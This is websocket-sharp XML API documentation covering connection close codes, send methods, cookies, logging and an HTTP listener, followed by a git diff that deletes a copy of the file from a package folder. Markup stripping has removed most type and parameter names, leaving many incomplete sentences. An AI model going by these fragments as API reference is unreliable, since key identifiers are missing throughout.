- - - Accepts the WebSocket handshake request asynchronously. - - - - This method does not wait for the accept to be complete. - - - This method is not available in a client. - - - - - - Closes the connection. - - - This method does nothing if the current state of the connection is - Closing or Closed. - - - - - Closes the connection with the specified . - - - This method does nothing if the current state of the connection is - Closing or Closed. - - - - A that represents the status code - indicating the reason for the close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - is less than 1000 or greater than 4999. - - - - is 1011 (server error). - It cannot be used by clients. - - - -or- - - - is 1010 (mandatory extension). - It cannot be used by servers. - - - - - - Closes the connection with the specified . - - - This method does nothing if the current state of the connection is - Closing or Closed. - - - - One of the enum values. - - - It represents the status code indicating the reason for the close. - - - - - is - . - It cannot be used by clients. - - - -or- - - - is - . - It cannot be used by servers. - - - - - - Closes the connection with the specified and - . - - - This method does nothing if the current state of the connection is - Closing or Closed. - - - - A that represents the status code - indicating the reason for the close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is less than 1000 or greater than 4999. - - - -or- - - - The size of is greater than 123 bytes. - - - - - is 1011 (server error). - It cannot be used by clients. - - - -or- - - - is 1010 (mandatory extension). - It cannot be used by servers. - - - -or- - - - is 1005 (no status) and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - - - Closes the connection with the specified and - . - - - This method does nothing if the current state of the connection is - Closing or Closed. - - - - One of the enum values. - - - It represents the status code indicating the reason for the close. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is - . - It cannot be used by clients. - - - -or- - - - is - . - It cannot be used by servers. - - - -or- - - - is - and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - The size of is greater than 123 bytes. - - - - - Closes the connection asynchronously. - - - - This method does not wait for the close to be complete. - - - And this method does nothing if the current state of - the connection is Closing or Closed. - - - - - - Closes the connection asynchronously with the specified - . - - - - This method does not wait for the close to be complete. - - - And this method does nothing if the current state of - the connection is Closing or Closed. - - - - - A that represents the status code - indicating the reason for the close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - is less than 1000 or greater than 4999. - - - - is 1011 (server error). - It cannot be used by clients. - - - -or- - - - is 1010 (mandatory extension). - It cannot be used by servers. - - - - - - Closes the connection asynchronously with the specified - . - - - - This method does not wait for the close to be complete. - - - And this method does nothing if the current state of - the connection is Closing or Closed. - - - - - One of the enum values. - - - It represents the status code indicating the reason for the close. - - - - - is - . - It cannot be used by clients. - - - -or- - - - is - . - It cannot be used by servers. - - - - - - Closes the connection asynchronously with the specified - and . - - - - This method does not wait for the close to be complete. - - - And this method does nothing if the current state of - the connection is Closing or Closed. - - - - - A that represents the status code - indicating the reason for the close. - - - The status codes are defined in - - Section 7.4 of RFC 6455. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is less than 1000 or greater than 4999. - - - -or- - - - The size of is greater than 123 bytes. - - - - - is 1011 (server error). - It cannot be used by clients. - - - -or- - - - is 1010 (mandatory extension). - It cannot be used by servers. - - - -or- - - - is 1005 (no status) and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - - - Closes the connection asynchronously with the specified - and . - - - - This method does not wait for the close to be complete. - - - And this method does nothing if the current state of - the connection is Closing or Closed. - - - - - One of the enum values. - - - It represents the status code indicating the reason for the close. - - - - - A that represents the reason for the close. - - - The size must be 123 bytes or less in UTF-8. - - - - - is - . - It cannot be used by clients. - - - -or- - - - is - . - It cannot be used by servers. - - - -or- - - - is - and - there is . - - - -or- - - - could not be UTF-8-encoded. - - - - The size of is greater than 123 bytes. - - - - - Establishes a WebSocket connection. - - - This method is not available in a server. - - - - - Establishes a WebSocket connection asynchronously. - - - - This method does not wait for the connect to be complete. - - - This method is not available in a server. - - - - - - Sends a ping using the WebSocket connection. - - - true if the send has done with no error and a pong has been - received within a time; otherwise, false. - - - - - Sends a ping with using the WebSocket - connection. - - - true if the send has done with no error and a pong has been - received within a time; otherwise, false. - - - - A that represents the message to send. - - - The size must be 125 bytes or less in UTF-8. - - - - could not be UTF-8-encoded. - - - The size of is greater than 125 bytes. - - - - - Sends using the WebSocket connection. - - - An array of that represents the binary data to send. - - - The current state of the connection is not Open. - - - is . - - - - - Sends the specified file using the WebSocket connection. - - - The file is sent as the binary data. - - - A that specifies the file to send. - - - The current state of the connection is not Open. - - - is . - - - - The file does not exist. - - - -or- - - - The file could not be opened. - - - - - - Sends using the WebSocket connection. - - - A that represents the text data to send. - - - The current state of the connection is not Open. - - - is . - - - could not be UTF-8-encoded. - - - - - Sends the data from using the WebSocket - connection. - - - The data is sent as the binary data. - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - The current state of the connection is not Open. - - - is . - - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - - Sends asynchronously using the WebSocket - connection. - - - This method does not wait for the send to be complete. - - - An array of that represents the binary data to send. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - The current state of the connection is not Open. - - - is . - - - - - Sends the specified file asynchronously using the WebSocket connection. - - - - The file is sent as the binary data. - - - This method does not wait for the send to be complete. - - - - A that specifies the file to send. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - The current state of the connection is not Open. - - - is . - - - - The file does not exist. - - - -or- - - - The file could not be opened. - - - - - - Sends asynchronously using the WebSocket - connection. - - - This method does not wait for the send to be complete. - - - A that represents the text data to send. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - The current state of the connection is not Open. - - - is . - - - could not be UTF-8-encoded. - - - - - Sends the data from asynchronously using - the WebSocket connection. - - - - The data is sent as the binary data. - - - This method does not wait for the send to be complete. - - - - A instance from which to read the data to send. - - - An that specifies the number of bytes to send. - - - - An Action<bool> delegate or - if not needed. - - - The delegate invokes the method called when the send is complete. - - - true is passed to the method if the send has done with - no error; otherwise, false. - - - - The current state of the connection is not Open. - - - is . - - - - cannot be read. - - - -or- - - - is less than 1. - - - -or- - - - No data could be read from . - - - - - - Sets an HTTP to send with - the WebSocket handshake request to the server. - - - This method is not available in a server. - - - A that represents a cookie to send. - - - - - Sets a pair of and for - the HTTP authentication (Basic/Digest). - - - This method is not available in a server. - - - - A that represents the user name used to authenticate. - - - If is or empty, - the credentials will be initialized and not be sent. - - - - A that represents the password for - used to authenticate. - - - true if the sends the credentials for - the Basic authentication with the first handshake request to the server; - otherwise, false. - - - - - Sets the HTTP proxy server URL to connect through, and if necessary, - a pair of and for - the proxy server authentication (Basic/Digest). - - - This method is not available in a server. - - - - A that represents the HTTP proxy server URL to - connect through. The syntax must be http://<host>[:<port>]. - - - If is or empty, - the url and credentials for the proxy will be initialized, - and the will not use the proxy to - connect through. - - - - - A that represents the user name used to authenticate. - - - If is or empty, - the credentials for the proxy will be initialized and not be sent. - - - - A that represents the password for - used to authenticate. - - - - - Closes the connection and releases all associated resources. - - - - This method closes the connection with close status 1001 (going away). - - - And this method does nothing if the current state of the connection is - Closing or Closed. - - - - - - The exception that is thrown when a fatal error occurs in - the WebSocket communication. - - - - - Gets the status code indicating the cause of the exception. - - - One of the enum values that represents - the status code indicating the cause of the exception. - - - - - Represents the ping frame without the payload data as an array of . - - - The value of this field is created from a non masked frame, so it can only be used to - send a ping from a server. - - - - - Indicates the state of a WebSocket connection. - - - The values of this enumeration are defined in - - The WebSocket API. - - - - - Equivalent to numeric value 0. Indicates that the connection has not - yet been established. - - - - - Equivalent to numeric value 1. Indicates that the connection has - been established, and the communication is possible. - - - - - Equivalent to numeric value 2. Indicates that the connection is - going through the closing handshake, or the close method has - been invoked. - - - - - Equivalent to numeric value 3. Indicates that the connection has - been closed or could not be established. - - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/WebSocketSharp-netstandard-customheaders.1.0.3/lib/net45/websocket-sharp.xml b/Payload_Type/apollo/apollo/agent_code/packages/WebSocketSharp-netstandard-customheaders.1.0.3/lib/net45/websocket-sharp.xml deleted file mode 100644 index 060c79a3..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/WebSocketSharp-netstandard-customheaders.1.0.3/lib/net45/websocket-sharp.xml +++ /dev/null @@ -1,10331 +0,0 @@ - - - - websocket-sharp - - - - - Specifies the byte order. - - - - - Specifies Little-endian. - - - - - Specifies Big-endian. - - - - - Represents the event data for the event. - - - - That event occurs when the WebSocket connection has been closed. - - - If you would like to get the reason for the close, you should access - the or property. - - - - - - Gets the status code for the close. - - - A that represents the status code for the close if any. - - - - - Gets the reason for the close. - - - A that represents the reason for the close if any. - - - - - Gets a value indicating whether the connection has been closed cleanly. - - - true if the connection has been closed cleanly; otherwise, false. - - - - - Indicates the status code for the WebSocket connection close. - - - - The values of this enumeration are defined in - - Section 7.4 of RFC 6455. - - - "Reserved value" cannot be sent as a status code in - closing handshake by an endpoint. - - - - - - Equivalent to close status 1000. Indicates normal close. - - - - - Equivalent to close status 1001. Indicates that an endpoint is - going away. - - - - - Equivalent to close status 1002. Indicates that an endpoint is - terminating the connection due to a protocol error. - - - - - Equivalent to close status 1003. Indicates that an endpoint is - terminating the connection because it has received a type of - data that it cannot accept. - - - - - Equivalent to close status 1004. Still undefined. A Reserved value. - - - - - Equivalent to close status 1005. Indicates that no status code was - actually present. A Reserved value. - - - - - Equivalent to close status 1006. Indicates that the connection was - closed abnormally. A Reserved value. - - - - - Equivalent to close status 1007. Indicates that an endpoint is - terminating the connection because it has received a message that - contains data that is not consistent with the type of the message. - - - - - Equivalent to close status 1008. Indicates that an endpoint is - terminating the connection because it has received a message that - violates its policy. - - - - - Equivalent to close status 1009. Indicates that an endpoint is - terminating the connection because it has received a message that - is too big to process. - - - - - Equivalent to close status 1010. Indicates that a client is - terminating the connection because it has expected the server to - negotiate one or more extension, but the server did not return - them in the handshake response. - - - - - Equivalent to close status 1011. Indicates that a server is - terminating the connection because it has encountered an unexpected - condition that prevented it from fulfilling the request. - - - - - Equivalent to close status 1015. Indicates that the connection was - closed due to a failure to perform a TLS handshake. A Reserved value. - - - - - Specifies the method for compression. - - - The methods are defined in - - Compression Extensions for WebSocket. - - - - - Specifies no compression. - - - - - Specifies DEFLATE. - - - - - Represents the event data for the event. - - - - That event occurs when the gets an error. - - - If you would like to get the error message, you should access - the property. - - - And if the error is due to an exception, you can get it by accessing - the property. - - - - - - Gets the exception that caused the error. - - - An instance that represents the cause of - the error if it is due to an exception; otherwise, . - - - - - Gets the error message. - - - A that represents the error message. - - - - - Provides a set of static methods for websocket-sharp. - - - - - Determines whether the specified equals the specified , - and invokes the specified Action<int> delegate at the same time. - - - true if equals ; - otherwise, false. - - - An to compare. - - - A to compare. - - - An Action<int> delegate that references the method(s) called - at the same time as comparing. An parameter to pass to - the method(s) is . - - - - - Gets the absolute path from the specified . - - - A that represents the absolute path if it's successfully found; - otherwise, . - - - A that represents the URI to get the absolute path from. - - - - - Gets the name from the specified that contains a pair of name and - value separated by a separator character. - - - A that represents the name if any; otherwise, null. - - - A that contains a pair of name and value separated by - a separator character. - - - A that represents the separator character. - - - - - Gets the value from the specified that contains a pair of name and - value separated by a separator character. - - - A that represents the value if any; otherwise, null. - - - A that contains a pair of name and value separated by - a separator character. - - - A that represents the separator character. - - - - - Tries to create a new for WebSocket with - the specified . - - - true if the was successfully created; - otherwise, false. - - - A that represents a WebSocket URL to try. - - - When this method returns, a that - represents the WebSocket URL or - if is invalid. - - - When this method returns, a that - represents an error message or - if is valid. - - - - - Determines whether the specified contains any of characters in - the specified array of . - - - true if contains any of ; - otherwise, false. - - - A to test. - - - An array of that contains characters to find. - - - - - Determines whether the specified contains - the entry with the specified . - - - true if contains the entry with - ; otherwise, false. - - - A to test. - - - A that represents the key of the entry to find. - - - - - Determines whether the specified contains the entry with - the specified both and . - - - true if contains the entry with both - and ; otherwise, false. - - - A to test. - - - A that represents the key of the entry to find. - - - A that represents the value of the entry to find. - - - - - Emits the specified delegate if it isn't . - - - A to emit. - - - An from which emits this . - - - A that contains no event data. - - - - - Emits the specified EventHandler<TEventArgs> delegate if it isn't - . - - - An EventHandler<TEventArgs> to emit. - - - An from which emits this . - - - A TEventArgs that represents the event data. - - - The type of the event data generated by the event. - - - - - Gets the collection of the HTTP cookies from the specified HTTP . - - - A that receives a collection of the HTTP cookies. - - - A that contains a collection of the HTTP headers. - - - true if is a collection of the response headers; - otherwise, false. - - - - - Gets the description of the specified HTTP status . - - - A that represents the description of the HTTP status code. - - - One of enum values, indicates the HTTP status code. - - - - - Gets the description of the specified HTTP status . - - - A that represents the description of the HTTP status code. - - - An that represents the HTTP status code. - - - - - Determines whether the specified is in the - range of the status code for the WebSocket connection close. - - - - The ranges are the following: - - - - - 1000-2999: These numbers are reserved for definition by - the WebSocket protocol. - - - - - 3000-3999: These numbers are reserved for use by libraries, - frameworks, and applications. - - - - - 4000-4999: These numbers are reserved for private use. - - - - - - true if is in the range of - the status code for the close; otherwise, false. - - - A to test. - - - - - Determines whether the specified is - enclosed in the specified . - - - true if is enclosed in - ; otherwise, false. - - - A to test. - - - A to find. - - - - - Determines whether the specified is host (this computer - architecture) byte order. - - - true if is host byte order; otherwise, false. - - - One of the enum values, to test. - - - - - Determines whether the specified - represents a local IP address. - - - This local means NOT REMOTE for the current host. - - - true if represents a local IP address; - otherwise, false. - - - A to test. - - - - - Determines whether the specified string is or - an empty string. - - - true if the string is or an empty string; - otherwise, false. - - - A to test. - - - - - Determines whether the specified is - a predefined scheme. - - - true if is a predefined scheme; - otherwise, false. - - - A to test. - - - - - Determines whether the specified is - an HTTP Upgrade request to switch to the specified . - - - true if is an HTTP Upgrade request to switch to - ; otherwise, false. - - - A that represents the HTTP request. - - - A that represents the protocol name. - - - - is . - - - -or- - - - is . - - - - is empty. - - - - - Determines whether the specified is a URI string. - - - true if may be a URI string; - otherwise, false. - - - A to test. - - - - - Retrieves a sub-array from the specified . A sub-array starts at - the specified element position in . - - - An array of T that receives a sub-array, or an empty array of T if any problems with - the parameters. - - - An array of T from which to retrieve a sub-array. - - - An that represents the zero-based starting position of - a sub-array in . - - - An that represents the number of elements to retrieve. - - - The type of elements in . - - - - - Retrieves a sub-array from the specified . A sub-array starts at - the specified element position in . - - - An array of T that receives a sub-array, or an empty array of T if any problems with - the parameters. - - - An array of T from which to retrieve a sub-array. - - - A that represents the zero-based starting position of - a sub-array in . - - - A that represents the number of elements to retrieve. - - - The type of elements in . - - - - - Executes the specified delegate times. - - - An is the number of times to execute. - - - An delegate that references the method(s) to execute. - - - - - Executes the specified delegate times. - - - A is the number of times to execute. - - - An delegate that references the method(s) to execute. - - - - - Executes the specified delegate times. - - - A is the number of times to execute. - - - An delegate that references the method(s) to execute. - - - - - Executes the specified delegate times. - - - A is the number of times to execute. - - - An delegate that references the method(s) to execute. - - - - - Executes the specified Action<int> delegate times. - - - An is the number of times to execute. - - - An Action<int> delegate that references the method(s) to execute. - An parameter to pass to the method(s) is the zero-based count of - iteration. - - - - - Executes the specified Action<long> delegate times. - - - A is the number of times to execute. - - - An Action<long> delegate that references the method(s) to execute. - A parameter to pass to the method(s) is the zero-based count of - iteration. - - - - - Executes the specified Action<uint> delegate times. - - - A is the number of times to execute. - - - An Action<uint> delegate that references the method(s) to execute. - A parameter to pass to the method(s) is the zero-based count of - iteration. - - - - - Executes the specified Action<ulong> delegate times. - - - A is the number of times to execute. - - - An Action<ulong> delegate that references the method(s) to execute. - A parameter to pass to this method(s) is the zero-based count of - iteration. - - - - - Converts the specified array of to the specified type data. - - - A T converted from , or a default value of - T if is an empty array of or - if the type of T isn't , , , - , , , , - , , or . - - - An array of to convert. - - - One of the enum values, specifies the byte order of - . - - - The type of the return. The T must be a value type. - - - is . - - - - - Converts the specified to an array of . - - - An array of converted from . - - - A T to convert. - - - One of the enum values, specifies the byte order of the return. - - - The type of . The T must be a value type. - - - - - Converts the order of the specified array of to the host byte order. - - - An array of converted from . - - - An array of to convert. - - - One of the enum values, specifies the byte order of - . - - - is . - - - - - Converts the specified to a that - concatenates the each element of across the specified - . - - - A converted from , - or if is empty. - - - An array of T to convert. - - - A that represents the separator string. - - - The type of elements in . - - - is . - - - - - Converts the specified to a . - - - A converted from or - if the convert has failed. - - - A to convert. - - - - - URL-decodes the specified . - - - A that receives the decoded string or - if it is or empty. - - - A to decode. - - - - - URL-encodes the specified . - - - A that receives the encoded string or - if it is or empty. - - - A to encode. - - - - - Writes and sends the specified data with the specified - . - - - A that represents the HTTP response used to - send the content data. - - - An array of that represents the content data to send. - - - - is . - - - -or- - - - is . - - - - - - Indicates whether a WebSocket frame is the final frame of a message. - - - The values of this enumeration are defined in - Section 5.2 of RFC 6455. - - - - - Equivalent to numeric value 0. Indicates more frames of a message follow. - - - - - Equivalent to numeric value 1. Indicates the final frame of a message. - - - - - Represents a log data used by the class. - - - - - Gets the information of the logging method caller. - - - A that provides the information of the logging method caller. - - - - - Gets the date and time when the log data was created. - - - A that represents the date and time when the log data was created. - - - - - Gets the logging level of the log data. - - - One of the enum values, indicates the logging level of the log data. - - - - - Gets the message of the log data. - - - A that represents the message of the log data. - - - - - Returns a that represents the current . - - - A that represents the current . - - - - - Provides a set of methods and properties for logging. - - - - If you output a log with lower than the value of the property, - it cannot be outputted. - - - The default output action writes a log to the standard output stream and the log file - if the property has a valid path to it. - - - If you would like to use the custom output action, you should set - the property to any Action<LogData, string> - delegate. - - - - - - Initializes a new instance of the class. - - - This constructor initializes the current logging level with . - - - - - Initializes a new instance of the class with - the specified logging . - - - One of the enum values. - - - - - Initializes a new instance of the class with - the specified logging , path to the log , - and action. - - - One of the enum values. - - - A that represents the path to the log file. - - - An Action<LogData, string> delegate that references the method(s) used to - output a log. A parameter passed to this delegate is - . - - - - - Gets or sets the current path to the log file. - - - A that represents the current path to the log file if any. - - - - - Gets or sets the current logging level. - - - A log with lower than the value of this property cannot be outputted. - - - One of the enum values, specifies the current logging level. - - - - - Gets or sets the current output action used to output a log. - - - - An Action<LogData, string> delegate that references the method(s) used to - output a log. A parameter passed to this delegate is the value of - the property. - - - If the value to set is , the current output action is changed to - the default output action. - - - - - - Outputs as a log with . - - - If the current logging level is higher than , - this method doesn't output as a log. - - - A that represents the message to output as a log. - - - - - Outputs as a log with . - - - If the current logging level is higher than , - this method doesn't output as a log. - - - A that represents the message to output as a log. - - - - - Outputs as a log with . - - - A that represents the message to output as a log. - - - - - Outputs as a log with . - - - If the current logging level is higher than , - this method doesn't output as a log. - - - A that represents the message to output as a log. - - - - - Outputs as a log with . - - - If the current logging level is higher than , - this method doesn't output as a log. - - - A that represents the message to output as a log. - - - - - Outputs as a log with . - - - If the current logging level is higher than , - this method doesn't output as a log. - - - A that represents the message to output as a log. - - - - - Specifies the logging level. - - - - - Specifies the bottom logging level. - - - - - Specifies the 2nd logging level from the bottom. - - - - - Specifies the 3rd logging level from the bottom. - - - - - Specifies the 3rd logging level from the top. - - - - - Specifies the 2nd logging level from the top. - - - - - Specifies the top logging level. - - - - - Indicates whether the payload data of a WebSocket frame is masked. - - - The values of this enumeration are defined in - Section 5.2 of RFC 6455. - - - - - Equivalent to numeric value 0. Indicates not masked. - - - - - Equivalent to numeric value 1. Indicates masked. - - - - - Represents the event data for the event. - - - - That event occurs when the receives - a message or a ping if the - property is set to true. - - - If you would like to get the message data, you should access - the or property. - - - - - - Gets the opcode for the message. - - - , , - or . - - - - - Gets the message data as a . - - - A that represents the message data if its type is - text or ping and if decoding it to a string has successfully done; - otherwise, . - - - - - Gets a value indicating whether the message type is binary. - - - true if the message type is binary; otherwise, false. - - - - - Gets a value indicating whether the message type is ping. - - - true if the message type is ping; otherwise, false. - - - - - Gets a value indicating whether the message type is text. - - - true if the message type is text; otherwise, false. - - - - - Gets the message data as an array of . - - - An array of that represents the message data. - - - - - Specifies the scheme for authentication. - - - - - No authentication is allowed. - - - - - Specifies digest authentication. - - - - - Specifies basic authentication. - - - - - Specifies anonymous authentication. - - - - - Stores the parameters for the used by clients. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with the specified . - - - A that represents the target host server name. - - - - - Copies the parameters from the specified to - a new instance of the class. - - - A from which to copy. - - - is . - - - - - Gets or sets a value indicating whether the certificate revocation - list is checked during authentication. - - - - true if the certificate revocation list is checked during - authentication; otherwise, false. - - - The default value is false. - - - - - - Gets or sets the certificates from which to select one to - supply to the server. - - - - A or . - - - That collection contains client certificates from which to select. - - - The default value is . - - - - - - Gets or sets the callback used to select the certificate to - supply to the server. - - - No certificate is supplied if the callback returns - . - - - - A delegate that - invokes the method called for selecting the certificate. - - - The default value is a delegate that invokes a method that - only returns . - - - - - - Gets or sets the protocols used for authentication. - - - - The enum values that represent - the protocols used for authentication. - - - The default value is . - - - - - - Gets or sets the callback used to validate the certificate - supplied by the server. - - - The certificate is valid if the callback returns true. - - - - A delegate that - invokes the method called for validating the certificate. - - - The default value is a delegate that invokes a method that - only returns true. - - - - - - Gets or sets the target host server name. - - - - A or - if not specified. - - - That string represents the name of the server that - will share a secure connection with a client. - - - - - - Provides a set of methods and properties used to manage an HTTP Cookie. - - - - The Cookie class supports the following cookie formats: - Netscape specification, - RFC 2109, and - RFC 2965 - - - The Cookie class cannot be inherited. - - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class with the specified - and . - - - A that represents the Name of the cookie. - - - A that represents the Value of the cookie. - - - - is or empty. - - - - or - - - - contains an invalid character. - - - - or - - - - is . - - - - or - - - - contains a string not enclosed in double quotes - that contains an invalid character. - - - - - - Initializes a new instance of the class with the specified - , , and . - - - A that represents the Name of the cookie. - - - A that represents the Value of the cookie. - - - A that represents the value of the Path attribute of the cookie. - - - - is or empty. - - - - or - - - - contains an invalid character. - - - - or - - - - is . - - - - or - - - - contains a string not enclosed in double quotes - that contains an invalid character. - - - - - - Initializes a new instance of the class with the specified - , , , and - . - - - A that represents the Name of the cookie. - - - A that represents the Value of the cookie. - - - A that represents the value of the Path attribute of the cookie. - - - A that represents the value of the Domain attribute of the cookie. - - - - is or empty. - - - - or - - - - contains an invalid character. - - - - or - - - - is . - - - - or - - - - contains a string not enclosed in double quotes - that contains an invalid character. - - - - - - Gets or sets the value of the Comment attribute of the cookie. - - - A that represents the comment to document intended use of the cookie. - - - - - Gets or sets the value of the CommentURL attribute of the cookie. - - - A that represents the URI that provides the comment to document intended - use of the cookie. - - - - - Gets or sets a value indicating whether the client discards the cookie unconditionally - when the client terminates. - - - true if the client discards the cookie unconditionally when the client terminates; - otherwise, false. The default value is false. - - - - - Gets or sets the value of the Domain attribute of the cookie. - - - A that represents the URI for which the cookie is valid. - - - - - Gets or sets a value indicating whether the cookie has expired. - - - true if the cookie has expired; otherwise, false. - The default value is false. - - - - - Gets or sets the value of the Expires attribute of the cookie. - - - A that represents the date and time at which the cookie expires. - The default value is . - - - - - Gets or sets a value indicating whether non-HTTP APIs can access the cookie. - - - true if non-HTTP APIs cannot access the cookie; otherwise, false. - The default value is false. - - - - - Gets or sets the Name of the cookie. - - - A that represents the Name of the cookie. - - - - The value specified for a set operation is or empty. - - - - or - - - - The value specified for a set operation contains an invalid character. - - - - - - Gets or sets the value of the Path attribute of the cookie. - - - A that represents the subset of URI on the origin server - to which the cookie applies. - - - - - Gets or sets the value of the Port attribute of the cookie. - - - A that represents the list of TCP ports to which the cookie applies. - - - The value specified for a set operation isn't enclosed in double quotes or - couldn't be parsed. - - - - - Gets or sets a value indicating whether the security level of the cookie is secure. - - - When this property is true, the cookie may be included in the HTTP request - only if the request is transmitted over the HTTPS. - - - true if the security level of the cookie is secure; otherwise, false. - The default value is false. - - - - - Gets the time when the cookie was issued. - - - A that represents the time when the cookie was issued. - - - - - Gets or sets the Value of the cookie. - - - A that represents the Value of the cookie. - - - - The value specified for a set operation is . - - - - or - - - - The value specified for a set operation contains a string not enclosed in double quotes - that contains an invalid character. - - - - - - Gets or sets the value of the Version attribute of the cookie. - - - An that represents the version of the HTTP state management - to which the cookie conforms. - - - The value specified for a set operation isn't 0 or 1. - - - - - Determines whether the specified is equal to the current - . - - - An to compare with the current . - - - true if is equal to the current ; - otherwise, false. - - - - - Serves as a hash function for a object. - - - An that represents the hash code for the current . - - - - - Returns a that represents the current . - - - This method returns a to use to send an HTTP Cookie to - an origin server. - - - A that represents the current . - - - - - Provides a collection container for instances of the class. - - - - - Initializes a new instance of the class. - - - - - Gets the number of cookies in the collection. - - - An that represents the number of cookies in the collection. - - - - - Gets a value indicating whether the collection is read-only. - - - true if the collection is read-only; otherwise, false. - The default value is true. - - - - - Gets a value indicating whether the access to the collection is thread safe. - - - true if the access to the collection is thread safe; otherwise, false. - The default value is false. - - - - - Gets the at the specified from - the collection. - - - A at the specified in the collection. - - - An that represents the zero-based index of the - to find. - - - is out of allowable range of indexes for the collection. - - - - - Gets the with the specified from - the collection. - - - A with the specified in the collection. - - - A that represents the name of the to find. - - - is . - - - - - Gets an object used to synchronize access to the collection. - - - An used to synchronize access to the collection. - - - - - Adds the specified to the collection. - - - A to add. - - - is . - - - - - Adds the specified to the collection. - - - A that contains the cookies to add. - - - is . - - - - - Copies the elements of the collection to the specified , starting at - the specified in the . - - - An that represents the destination of the elements copied from - the collection. - - - An that represents the zero-based index in - at which copying begins. - - - is . - - - is less than zero. - - - - is multidimensional. - - - -or- - - - The number of elements in the collection is greater than the available space from - to the end of the destination . - - - - The elements in the collection cannot be cast automatically to the type of the destination - . - - - - - Copies the elements of the collection to the specified array of , - starting at the specified in the . - - - An array of that represents the destination of the elements - copied from the collection. - - - An that represents the zero-based index in - at which copying begins. - - - is . - - - is less than zero. - - - The number of elements in the collection is greater than the available space from - to the end of the destination . - - - - - Gets the enumerator used to iterate through the collection. - - - An instance used to iterate through the collection. - - - - - The exception that is thrown when a gets an error. - - - - - Initializes a new instance of the class from - the specified and . - - - A that contains the serialized object data. - - - A that specifies the source for the deserialization. - - - - - Initializes a new instance of the class. - - - - - Populates the specified with the data needed to serialize - the current . - - - A that holds the serialized object data. - - - A that specifies the destination for the serialization. - - - - - Populates the specified with the data needed to serialize - the current . - - - A that holds the serialized object data. - - - A that specifies the destination for the serialization. - - - - - Holds the username and password from an HTTP Basic authentication attempt. - - - - - Gets the password from a basic authentication attempt. - - - A that represents the password. - - - - - Holds the username and other parameters from - an HTTP Digest authentication attempt. - - - - - Gets the algorithm parameter from a digest authentication attempt. - - - A that represents the algorithm parameter. - - - - - Gets the cnonce parameter from a digest authentication attempt. - - - A that represents the cnonce parameter. - - - - - Gets the nc parameter from a digest authentication attempt. - - - A that represents the nc parameter. - - - - - Gets the nonce parameter from a digest authentication attempt. - - - A that represents the nonce parameter. - - - - - Gets the opaque parameter from a digest authentication attempt. - - - A that represents the opaque parameter. - - - - - Gets the qop parameter from a digest authentication attempt. - - - A that represents the qop parameter. - - - - - Gets the realm parameter from a digest authentication attempt. - - - A that represents the realm parameter. - - - - - Gets the response parameter from a digest authentication attempt. - - - A that represents the response parameter. - - - - - Gets the uri parameter from a digest authentication attempt. - - - A that represents the uri parameter. - - - - - Provides a simple, programmatically controlled HTTP listener. - - - - - Initializes a new instance of the class. - - - - - Gets or sets the scheme used to authenticate the clients. - - - One of the enum values, - represents the scheme used to authenticate the clients. The default value is - . - - - This listener has been closed. - - - - - Gets or sets the delegate called to select the scheme used to authenticate the clients. - - - If you set this property, the listener uses the authentication scheme selected by - the delegate for each request. Or if you don't set, the listener uses the value of - the property as the authentication - scheme for all requests. - - - A Func<, > - delegate that references the method used to select an authentication scheme. The default - value is . - - - This listener has been closed. - - - - - Gets or sets the path to the folder in which stores the certificate files used to - authenticate the server on the secure connection. - - - - This property represents the path to the folder in which stores the certificate files - associated with each port number of added URI prefixes. A set of the certificate files - is a pair of the 'port number'.cer (DER) and 'port number'.key - (DER, RSA Private Key). - - - If this property is or empty, the result of - System.Environment.GetFolderPath - () is used as the default path. - - - - A that represents the path to the folder in which stores - the certificate files. The default value is . - - - This listener has been closed. - - - - - Gets or sets a value indicating whether the listener returns exceptions that occur when - sending the response to the client. - - - true if the listener shouldn't return those exceptions; otherwise, false. - The default value is false. - - - This listener has been closed. - - - - - Gets a value indicating whether the listener has been started. - - - true if the listener has been started; otherwise, false. - - - - - Gets a value indicating whether the listener can be used with the current operating system. - - - true. - - - - - Gets the logging functions. - - - The default logging level is . If you would like to change it, - you should set the Log.Level property to any of the enum - values. - - - A that provides the logging functions. - - - - - Gets the URI prefixes handled by the listener. - - - A that contains the URI prefixes. - - - This listener has been closed. - - - - - Gets or sets the name of the realm associated with the listener. - - - If this property is or empty, "SECRET AREA" will be used as - the name of the realm. - - - A that represents the name of the realm. The default value is - . - - - This listener has been closed. - - - - - Gets or sets the SSL configuration used to authenticate the server and - optionally the client for secure connection. - - - A that represents the configuration used to - authenticate the server and optionally the client for secure connection. - - - This listener has been closed. - - - - - Gets or sets a value indicating whether, when NTLM authentication is used, - the authentication information of first request is used to authenticate - additional requests on the same connection. - - - This property isn't currently supported and always throws - a . - - - true if the authentication information of first request is used; - otherwise, false. - - - Any use of this property. - - - - - Gets or sets the delegate called to find the credentials for an identity used to - authenticate a client. - - - A Func<, > delegate - that references the method used to find the credentials. The default value is - . - - - This listener has been closed. - - - - - Shuts down the listener immediately. - - - - - Begins getting an incoming request asynchronously. - - - This asynchronous operation must be completed by calling the EndGetContext method. - Typically, the method is invoked by the delegate. - - - An that represents the status of the asynchronous operation. - - - An delegate that references the method to invoke when - the asynchronous operation completes. - - - An that represents a user defined object to pass to - the delegate. - - - - This listener has no URI prefix on which listens. - - - -or- - - - This listener hasn't been started, or is currently stopped. - - - - This listener has been closed. - - - - - Shuts down 